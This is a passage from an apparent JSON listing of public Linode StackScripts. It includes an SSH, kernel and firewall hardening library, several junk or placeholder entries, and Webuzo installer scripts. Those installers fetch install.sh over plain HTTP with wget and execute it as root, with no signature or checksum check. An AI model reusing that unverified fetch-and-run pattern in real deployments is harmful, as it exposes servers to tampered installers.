\"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_public_key) user not found\\n\"\n return 1;\n fi\n if [ \"${username}\" == \"root\" ]; then\n mkdir -p /root/.ssh\n touch /root/.ssh/authorized_keys\n echo \"${public_key}\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n mkdir -p /home/\"${username}\"/.ssh\n chmod -R 700 /home/\"${username}\"/.ssh/\n touch /home/\"${username}\"/.ssh/authorized_keys\n echo \"${public_key}\" >> /home/\"${username}\"/.ssh/authorized_keys\n chown -R \"${username}\":\"${username}\" /home/\"${username}\"/.ssh\n chmod 600 /home/\"${username}\"/.ssh/authorized_keys\n}\n\nadd_public_key_from_github() {\n # adds public keys from a github account to authorized_keys for the specified user\n # ${1} - required - username\n # ${2} - required - github account\n local -r username=\"${1}\"\n local -r github_account=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${github_account}\" ]; then\n printf \"ERROR: (add_public_key_from_github) username and/or github account undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_public_key_from_github) user not found\\n\"\n return 1;\n fi\n local -r public_key=\"$(curl -sSL https://github.com/\"${github_account}\".keys)\"\n if [ \"${public_key}\" == \"Not Found\" ]; then\n printf \"ERROR: (add_public_key_from_github) %s.keys not found\\n\" \"${github_account}\"\n return 1;\n fi\n if [ \"${username}\" == \"root\" ]; then\n mkdir -p /root/.ssh\n touch /root/.ssh/authorized_keys\n echo \"${public_key}\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n mkdir -p /home/\"${username}\"/.ssh\n chmod -R 700 /home/\"${username}\"/.ssh/\n touch /home/\"${username}\"/.ssh/authorized_keys\n echo \"${public_key}\" >> /home/\"${username}\"/.ssh/authorized_keys\n chown -R \"${username}\":\"${username}\" /home/\"${username}\"/.ssh\n chmod 600 /home/\"${username}\"/.ssh/authorized_keys\n}\n\ndisable_root_login() {\n # disables root SSH access\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin no/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nenable_root_login() {\n # enables root SSH access (with a key only)\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin prohibit-password/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\ndisable_password_authentication() {\n # disables password authentication\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication no/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nenable_password_authentication() {\n # enables password authentication\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication yes/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nget_ssh_port() {\n # returns the system''s SSH port number\n sed -n -e ''s/Port //p'' /etc/ssh/sshd_config\n}\n\nset_ssh_port() {\n # reassigns the SSH port number \n # ${1} - required - SSH port\n local -r ssh_port=\"${1}\"\n if [ -z \"${ssh_port}\" ]; then\n printf \"ERROR: (set_ssh_port) SSH port undefined\\n\"\n return 1;\n fi\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*Port [0-9]*/Port ${ssh_port}/i\" /etc/ssh/sshd_config\n if [ ${ssh_port} != \"22\" ]; then\n semanage port -a -t ssh_port_t -p tcp \"${ssh_port}\"\n fi\n systemctl restart sshd\n}\n\nharden_ssh() {\n # hardens ssh by tweaking default configuration\n # SEE: https://www.sshaudit.com/hardening_guides.html#rhel8\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*AddressFamily [a-z]*/AddressFamily inet/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*StrictModes [a-z]*/StrictModes yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*MaxAuthTries [0-9]*/MaxAuthTries 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PubkeyAuthentication [a-z]*/PubkeyAuthentication yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*HostbasedAuthentication [a-z]*/HostbasedAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ChallengeResponseAuthentication [a-z]*/ChallengeResponseAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*GSSAPIAuthentication [a-z]*/GSSAPIAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*AllowAgentForwarding [a-z]*/AllowAgentForwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*AllowTcpForwarding [a-z]*/AllowTcpForwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitTunnel [a-z]*/PermitTunnel no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*X11Forwarding [a-z]*/X11Forwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*TCPKeepAlive [a-z]*/TCPKeepAlive no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*IgnoreRhosts [a-z]*/IgnoreRhosts yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitEmptyPasswords [a-z]*/PermitEmptyPasswords no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*UsePAM [a-z]*/UsePAM no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*UseDNS [a-z]*/UseDNS no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ClientAliveInterval [0-9]*/ClientAliveInterval 300/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ClientAliveCountMax [0-9]*/ClientAliveCountMax 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*MaxSessions [0-9]*/MaxSessions 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*LoginGraceTime [0-9a-z]*/LoginGraceTime 30/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*LogLevel [a-z]*/LogLevel VERBOSE/i\" /etc/ssh/sshd_config\n # disables the ECDSA host key\n sed -i -e \"s/^HostKey \\/etc\\/ssh\\/ssh_host_ecdsa_key$/\\#HostKey \\/etc\\/ssh\\/ssh_host_ecdsa_key/g\" /etc/ssh/sshd_config\n # regenerates the RSA and ED25519 keys\n rm -f /etc/ssh/ssh_host_*\n ssh-keygen -t rsa -b 4096 -f /etc/ssh/ssh_host_rsa_key -N \"\"\n ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key -N \"\"\n chgrp ssh_keys /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_rsa_key\n chmod g+r /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_rsa_key\n # removes the small Diffie-Hellman moduli\n awk ''$5 >= 3071'' /etc/ssh/moduli > /etc/ssh/moduli.safe\n mv -f /etc/ssh/moduli.safe /etc/ssh/moduli\n # restricts supported key exchange, cipher, and MAC algorithms\n cp -n /etc/crypto-policies/back-ends/opensshserver.config /etc/crypto-policies/back-ends/opensshserver.config.orig\n echo -e \"CRYPTO_POLICY=''-oCiphers=chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr -oMACs=hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com -oGSSAPIKexAlgorithms=gss-curve25519-sha256- -oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256 -oHostKeyAlgorithms=ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oPubkeyAcceptedKeyTypes=ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-rsa-cert-v01@openssh.com''\" > /etc/crypto-policies/back-ends/opensshserver.config\n systemctl restart sshd\n}\n\nharden_kernel() {\n cp -n /etc/security/limits.conf /etc/security/limits.conf.orig\n echo ''* hard core 0'' >> /etc/security/limits.conf\n cat < /etc/sysctl.d/sysctl.conf\nkernel.dmesg_restrict = 1\nkernel.kptr_restrict = 1\nkernel.panic = 30\nkernel.yama.ptrace_scope = 1\nnet.ipv4.conf.all.accept_redirects = 0\nnet.ipv4.conf.all.arp_announce = 2\nnet.ipv4.conf.all.arp_ignore = 1\nnet.ipv4.conf.all.log_martians = 1\nnet.ipv4.conf.all.proxy_arp = 0\nnet.ipv4.conf.default.accept_redirects = 0\nnet.ipv4.conf.default.accept_source_route = 0\nnet.ipv4.conf.default.log_martians = 1\nnet.ipv4.conf.default.rp_filter = 1\nnet.ipv4.conf.default.secure_redirects = 0\nnet.ipv4.conf.default.send_redirects = 0\nnet.ipv4.tcp_max_syn_backlog = 4096\nnet.ipv4.tcp_rfc1337 = 1\nnet.ipv4.tcp_syn_retries = 3\nnet.ipv4.tcp_synack_retries = 3\nnet.ipv6.conf.all.accept_redirects = 0\nnet.ipv6.conf.default.accept_ra_defrtr = 0\nnet.ipv6.conf.default.accept_ra_pinfo = 0\nnet.ipv6.conf.default.accept_ra_rtr_pref = 0\nnet.ipv6.conf.default.accept_redirects = 0\nnet.ipv6.conf.default.accept_source_route = 0\nnet.ipv6.conf.default.autoconf = 0\nnet.ipv6.conf.default.dad_transmits = 0\nnet.ipv6.conf.default.max_addresses = 1\nnet.ipv6.conf.default.router_solicitations = 0\nEOT\n sysctl -p\n}\n\nharden_system() {\n echo \"root\" > /etc/cron.allow\n echo \"ALL : ALL\" > /etc/hosts.deny\n cat < /etc/hosts.allow\nALL : LOCAL\nALL : 192.168.\nALL : 127.0.\nsshd : ALL\nEOT\n chmod 600 /etc/hosts.deny\n chmod 600 /etc/hosts.allow\n chmod 600 /etc/cron.allow\n rm -f /etc/cron.deny\n chmod -R 700 /root\n userdel -Z -r -f adm\n userdel -Z -r -f ftp\n userdel -Z -r -f games\n userdel -Z -r -f lp\n rmdir /usr/games\n rmdir /usr/local/games\n rmdir /var/adm\n rmdir /var/ftp\n rmdir /var/games\n rmdir /var/gopher\n systemctl stop kdump\n systemctl disable kdump\n systemctl mask kdump\n systemctl mask ctrl-alt-del.target\n cat <> /etc/modprobe.d/hardening.conf\nblacklist usb-storage\nblacklist firewire-core\ninstall usb-storage /bin/true\ninstall sctp /bin/true\ninstall dccp /bin/true\ninstall cramfs /bin/true\ninstall freevxfs /bin/true\ninstall jffs2 /bin/true\ninstall hfs /bin/true\ninstall hfsplus /bin/true\ninstall squashfs /bin/true\ninstall udf /bin/true\ninstall cifs /bin/true\ninstall nfs /bin/true\ninstall nfsv3 /bin/true\ninstall nfsv4 /bin/true\ninstall gfs2 /bin/true\ninstall bnep /bin/true\ninstall bluetooth /bin/true\ninstall btusb /bin/true\ninstall net-pf-31 /bin/true\ninstall appletalk /bin/true\ninstall rds /bin/true\ninstall tipc /bin/true\nEOT\n}\n\ndisable_ip6() {\n cat <> /etc/sysctl.d/sysctl.conf\nnet.ipv6.conf.all.disable_ipv6 = 1\nnet.ipv6.conf.default.disable_ipv6 = 1\nnet.ipv6.conf.lo.disable_ipv6 = 1\nEOT\n sysctl -p\n echo \"options ipv6 disable=1\" >> /etc/modprobe.d/hardening.conf\n echo \"NETWORKING_IPV6=no\" >> /etc/sysconfig/network\n echo \"IPV6INIT=no\" >> /etc/sysconfig/network\n ip6tables -F\n ip6tables --policy INPUT DROP\n ip6tables --policy FORWARD DROP\n ip6tables --policy OUTPUT DROP\n service ip6tables save\n systemctl restart ip6tables\n}\n\nopen_port() {\n # ${1} - required - IPv4 TCP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n}\n\nopen_ip6_port() {\n # ${1} - required - IPv6 TCP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_ip6_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p tcp -m tcp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n}\n\nopen_udp_port() {\n # ${1} - required - IPv4 UDP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p udp -m udp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n}\n\nopen_ip6_udp_port() {\n # ${1} - required - IPv6 UDP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_ip6_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p udp -m udp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n}\n\nadd_port() {\n # opens a port in the firewall\n # ${1} - required - IP standard (ipv4/ipv6)\n # ${2} - required - port #\n # ${3} - required - protocol (tcp/udp)\n local -r standard=\"${1}\"\n local -r port=\"${2}\"\n local -r protocol=\"${3}\"\n if [ -z \"${standard}\" ] || [ -z \"${port}\" ] || [ -z \"${protocol}\" ]; then\n printf \"ERROR: (add_port) missing argument - ipv4/ipv6, port #, tcp/udp\\n\"\n return 1;\n fi\n if [ \"${standard}\" == ''ipv4'' ]; then\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p \"${protocol}\" -m \"${protocol}\" --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n elif [ \"${standard}\" == ''ipv6'' ]; then\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p \"${protocol}\" -m \"${protocol}\" --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n fi\n}\n\nconfigure_basic_firewall() {\n # removes firewalld and creates a simple iptables firewall\n # accepts pings and SSH connections only\n systemctl stop firewalld\n dnf -y remove firewalld\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n iptables -F\n iptables --policy INPUT DROP\n iptables --policy FORWARD DROP\n iptables --policy OUTPUT ACCEPT\n iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT\n iptables -A INPUT -i lo -j ACCEPT\n iptables -A INPUT -p icmp -j ACCEPT\n iptables -A INPUT -p tcp -m tcp --dport \"$(sed -n -e ''s/^[ \\t]*Port //p'' /etc/ssh/sshd_config)\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n ip6tables -F\n ip6tables --policy INPUT DROP\n ip6tables --policy FORWARD DROP\n ip6tables --policy OUTPUT ACCEPT\n ip6tables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT\n ip6tables -A INPUT -i lo -j ACCEPT\n ip6tables -A INPUT -p ipv6-icmp -j ACCEPT\n service ip6tables save\n systemctl enable iptables\n systemctl enable ip6tables\n systemctl restart iptables\n systemctl restart ip6tables\n}\n\ninstall_apache() {\n # installs an apache server with a simple configuration and SSL certificate\n # ${1} - optional - the fully-qualified domain name to be used for the SSL certificate\n if [ -z \"${1}\" ]; then\n local -r fqdn=\"$(host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\"\n else\n local -r fqdn=\"${1}\"\n fi\n dnf -y install httpd mod_ssl certbot python3-certbot-apache\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"80\" -m conntrack --ctstate NEW -j ACCEPT\n iptables -A INPUT -p tcp -m tcp --dport \"443\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p tcp -m tcp --dport \"80\" -m conntrack --ctstate NEW -j ACCEPT\n ip6tables -A INPUT -p tcp -m tcp --dport \"443\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n cat < /etc/httpd/conf.d/vhosts.conf\n\n ServerName ${fqdn}\n \n Options None\n AllowOverride none\n Require all granted\n \n\nEOT\n systemctl enable httpd\n systemctl restart httpd\n cp -n /etc/httpd/conf.d/ssl.conf /etc/httpd/conf.d/ssl.conf.orig\n certbot --apache --noninteractive --agree-tos --register-unsafely-without-email -d \"${fqdn}\" -w /var/www/html/\n local -r certificatefile=\"$(sed -n -e ''s/SSLCertificateFile //p'' /etc/httpd/conf.d/vhosts-le-ssl.conf)\"\n local -r certificatekeyfile=\"$(sed -n -e ''s/SSLCertificateKeyFile //p'' /etc/httpd/conf.d/vhosts-le-ssl.conf)\"\n cp -n /etc/httpd/conf.d/vhosts-le-ssl.conf /etc/httpd/conf.d/vhosts-le-ssl.conf.original\n rm -f /etc/httpd/conf.d/vhosts-le-ssl.conf\n if [ -n \"${certificatefile}\" ] && [ -n \"${certificatekeyfile}\" ]; then\n sed -i -e \"s#SSLCertificateFile .*#SSLCertificateFile ${certificatefile}#i\" /etc/httpd/conf.d/ssl.conf\n sed -i -e \"s#SSLCertificateKeyFile .*#SSLCertificateKeyFile ${certificatekeyfile}#i\" /etc/httpd/conf.d/ssl.conf\n fi\n systemctl restart httpd\n}\n\ninstall_postfix() {\n # installs postfix and enables local mail delivery and loopback only\n dnf -y install postfix\n cp -n /etc/postfix/main.cf /etc/postfix/main.cf.orig\n sed -i -e \"s/[# \\t]*inet_protocols = .*/inet_protocols = ipv4/i\" /etc/postfix/main.cf\n sed -i -e \"s/[# \\t]*smtpd_banner =.*/smtpd_banner = \\$myhostname ESMTP/i\" /etc/postfix/main.cf\n systemctl enable postfix\n systemctl restart postfix\n}\n\ninstall_fail2ban() {\n # installs fail2ban-server with a simple configuration\n local -r ssh_port=\"$(sed -n -e ''s/^[ \\t]*Port //p'' /etc/ssh/sshd_config)\"\n dnf -y install fail2ban-server\n cat < /etc/fail2ban/jail.local\n[DEFAULT] \nbantime = 3600\nfindtime = 300\nmaxretry = 5\nbanaction = iptables-multiport\nbackend = systemd\n\n[sshd]\nenabled = true\nport = ${ssh_port}\nEOT\n systemctl enable fail2ban\n systemctl start fail2ban\n}\n\ninstall_webmin() {\n # installs webmin with a simple configuration\n cat < /etc/yum.repos.d/webmin.repo\n[Webmin]\nname=Webmin Distribution Neutral\nbaseurl=https://download.webmin.com/download/yum\nenabled=1\ngpgcheck=1\ngpgkey=https://download.webmin.com/jcameron-key.asc\nEOT\n dnf -y install webmin\n sed -i \"s/ipv6=1/ipv6=0/i\" /etc/webmin/miniserv.conf\n if [ -e \"/etc/httpd/conf.d/ssl.conf\" ]; then\n local -r certfile=\"$(sed -n -e ''s/^[ \\t]*SSLCertificateFile //p'' /etc/httpd/conf.d/ssl.conf)\"\n local -r keyfile=\"$(sed -n -e ''s/^[ \\t]*SSLCertificateKeyFile //p'' /etc/httpd/conf.d/ssl.conf)\"\n echo \"#keyfile=${keyfile}\" >> /etc/webmin/miniserv.conf\n echo \"#certfile=${certfile}\" >> /etc/webmin/miniserv.conf\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"10000\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n if (ss -tulpn) | grep ''miniserv''; then\n killall -9 miniserv.pl\n fi\n service webmin start\n chkconfig webmin on\n}\n\ndisable_selinux() {\n # relaxes selinux but still logs errors\n setenforce permissive\n sed -i \"s/=enforcing/=permissive/i\" \"/etc/selinux/config\"\n}\n\n\n#### STACKSCRIPT COMPATIBILITY FUNCTIONS\n\nsystem_install_basics() {\n install_essentials\n}\n\nsystem_primary_ip() {\n get_primary_ip\n}\n\nsystem_primary_ip6() {\n get_primary_ip6\n}\n\nsystem_set_hostname() {\n set_hostname \"${1}\"\n}\n\nsystem_add_host_entry() {\n add_host_entry \"${1}\" \"${2}\" \"${3}\"\n}\n\nsystem_set_timezone() {\n set_timezone \"${1}\"\n}\n\nuser_add_sudo() {\n add_sudo_user \"${1}\" \"${2}\"\n}\n\nuser_add_pubkey() {\n add_public_key \"${1}\" \"${2}\"\n}\n\nssh_disable_root() {\n disable_root_login\n disable_password_authentication\n}\n\npostfix_install_loopback_only() {\n install_postfix\n}\n\nenable_fail2ban() {\n install_fail2ban\n}\n\napache_install() {\n install_apache \"${1}\"\n}\n", "user_defined_fields": []}, {"id": 1119241, "username": "cecillysander", "user_gravatar_id": "b18e5b184afa0a761c23041172947c74", "label": "ccc", "description": "ccccc", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\r\necho "hello"", "user_defined_fields": []}, {"id": 662025, "username": "half5064", "user_gravatar_id": "e76358653afa8908f167511e8379bd1c", "label": "reboot", "description": "reboot", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash''\n#linode-cli linodes reboot $half5064", "user_defined_fields": []}, {"id": 9225, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "XCloner powered by Webuzo", "description": "XCloner is a professional website Backup and Restore application designed to allow you to create safe complete backups of any PHP/Mysql website and to be able to restore them anywhere. It works as a native Joomla backup component, as a native Wordpress backup plugin and also as standalone PHP/Mysql backup application. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure XCloner and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "XCloner powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install XCloner and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About XCloner :\n# XCloner is a professional website Backup and Restore application designed to allow you to create \n# safe complete backups of any PHP/Mysql website and to be able to restore them anywhere.\n# It works as a native Joomla backup component, as a native Wordpress backup plugin and also \n# as standalone PHP/Mysql backup application.\n###########################################################################################################\n\n# Install XCloner Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=458&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling XCloner and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, XCloner has been successfully installed\"\necho \" \"\necho \"You can now configure XCloner and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 83465, "username": "janelle_estelle", "user_gravatar_id": "58c5b6b3e7c996de84adf9c177085ae5", "label": "Stack", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu16.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n# \n# \n# \n# \n\n\nsource \n\nsystem_update\npostfix_install_loopback_only\nmysql_install \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": "", "example": "Optionally create this user"}, {"name": "db_user_password", "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, {"id": 978953, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "admin", "description": "fghtdyjt", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu16.04lts", "linode/centos8", "linode/debian9-kube-v1.22.2", "linode/debian11-kube-v1.21.9", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ree", "script": "#!/bin/bash\n\ndthfjuffyki", "user_defined_fields": []}, {"id": 9226, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Gallery 2 powered by Webuzo", "description": "Gallery is an open source web based photo album organizer. Gallery gives you an intuitive way to blend photo management seamlessly into your own website whether you''re running a small personal site or a large community site.\r\n\r\nServing millions worldwide, the Gallery project is the most widely used system of its kind. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Gallery 2 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Gallery 2 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Gallery 2 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Gallery 2 :\n# Gallery is an open source web based photo album organizer.\n# Gallery gives you an intuitive way to blend photo management seamlessly into your own website \n# whether you''re running a small personal site or a large community site.\n# Serving millions worldwide, the Gallery project is the most widely used system of its kind. \n###########################################################################################################\n\n# Install Gallery 2 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=383&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> 